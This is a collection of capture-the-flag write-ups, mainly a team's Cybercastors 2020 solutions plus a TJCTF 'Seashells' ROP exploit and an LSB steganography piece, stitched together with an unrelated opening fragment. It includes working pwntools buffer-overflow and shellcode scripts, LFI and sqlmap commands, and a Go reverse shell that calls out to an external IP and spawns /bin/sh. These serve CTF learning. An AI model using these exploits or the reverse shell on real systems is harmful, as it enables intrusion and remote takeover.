- The program was probably compiled with `-O0`, since many useless load and store operations can be observed.- The program is dynamically linked, since GOT/PLT based calls can be observed, and two different address ranges are in use.- The program was probably traced with a debugger, because the address range of the program code starts with 0x5555...- The dynamic linker cannot be observed at any time, which indicates that all functions were resolved before the trace recording started. |
# TJCTF 2020
## Seashells
> 50>> I heard there's someone [selling shells](seashells)? They seem to be out of stock though...> > `nc p1.tjctf.org 8009`>> Written by KyleForkBomb
Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _rop_ _gets_
## Summary
Stack overflow, then ROP to internal function that provides a remote shell.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Some mitigations in place. GOT off the table, can blow through stack, easy ROP (no PIE), no shellcode (NX). ### Decompile with Ghidra

Line 13: `gets(local_12)`, 'nough said. With no stack canary in place, it'll be easy to overwrite the return address.
_Whaaaaaaaa?_

"shell"-code, nice. `shell` requires a parameter of `-0x2152350145414111` (`0xDEADCAFEBABEBEEF`), and can be bypassed if we wanted to hardcode an address, but since the game master(s) put in the effort for a check, we might as well honor it. I mean, how clever of them to spell, in hex, `DEADCAFEBABEBEEF`.
`local_12` is `0x12` bytes above the return address:
``` undefined8 RAX:8 <RETURN> undefined1 Stack[-0x12]:1 local_12 ```
We just need to write out `0x12` bytes, then use a `pop rdi` gadget to set the parameter for `shell`, then call `shell`.
## Exploit
```python#!/usr/bin/python3
from pwn import *
#p = process('./seashells')p = remote('p1.tjctf.org', 8009)
context.clear(arch='amd64')
binary = ELF('./seashells')shell = binary.symbols['shell']
rop = ROP('seashells')try: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]except: print("no ROP for you!") sys.exit(1)
payload = b''payload += 0x12 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(0xDEADCAFEBABEBEEF)payload += p64(shell)
p.recvuntil('Would you like a shell?')p.sendline(payload)
p.interactive()```
This code should be self-explanatory, however there's an extra `ret` (`payload += p64(pop_rdi + 1)`). This is required to align the stack, see [Blind Piloting](https://github.com/datajerk/ctf-write-ups/blob/master/b01lersctf2020/blind-piloting/README.md) for a lengthly example and explanation.
Output:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8009: Done[*] '/pwd/datajerk/tjctf2020/seashells/seashells' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loading gadgets for '/pwd/datajerk/tjctf2020/seashells/seashells'[*] Switching to interactive mode
why are you even here?$ cat flag.txttjctf{she_s3lls_se4_sh3ll5}``` |
# Problem Statement
I intercepted an image in the communication of 2 sharkies from a shark gang. Those sharks knew I was listening and they hid a message in this image.
Do you think you can do something about it?
Creator: Fratso

# Analysis
The file mentions LSB openly. Least significant bit information hiding is a method of hiding information in images, audio and videos by modifying information in such a way that a human would not have a visual or audio clue while viewing the file that there is information hidden. Whether it's color or audio, the least significant byte usually has the less impact on the visual/audio. For visuals such as images, when the least significant bits, means the least significant bit of each pixel.
There are tools to detect and extract such information, ehich could probably be used to extract this data (and I used one during the CTF but I can't remember which one). With time pressure no longer an issue, let's have some fun.
First things first:
asd007@host:/mnt/e/ctf$ file pretty_cat.png pretty_cat.png: PNG image data, 800 x 674, 8-bit/color RGB, non-interlaced We're in luck, it's an 8 bit image, so 1 byte per pixel, so no need to worry about "color channels"? (I think).
(I spent way too much on this trying to be cool) * I spent hours battling xxd and hexdump and awk and sed. Binary manipulation is not bash's strong part. * Ok I'll write some (surprised?):C# code for this. * I spent more hours battling C# and the intricacies of the png file format.
I could probably write such a tool given time and not from scratch (wanted to be cool and use no external libraries/code/inspiration). At least now I know it's not necessarily trivial to write something like this.
In the end here is the solution I really used in the CTF:
When I have time I might actually write a tool, probably based around pngtools, as I don't trust C# and its forced 24bpp Indexed format.
Here we go, our bitter win

# FlagshkCTF{Y0u_foUnD_m3_thr0ugH_LSB_6a5e99dfacf793e27a} |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
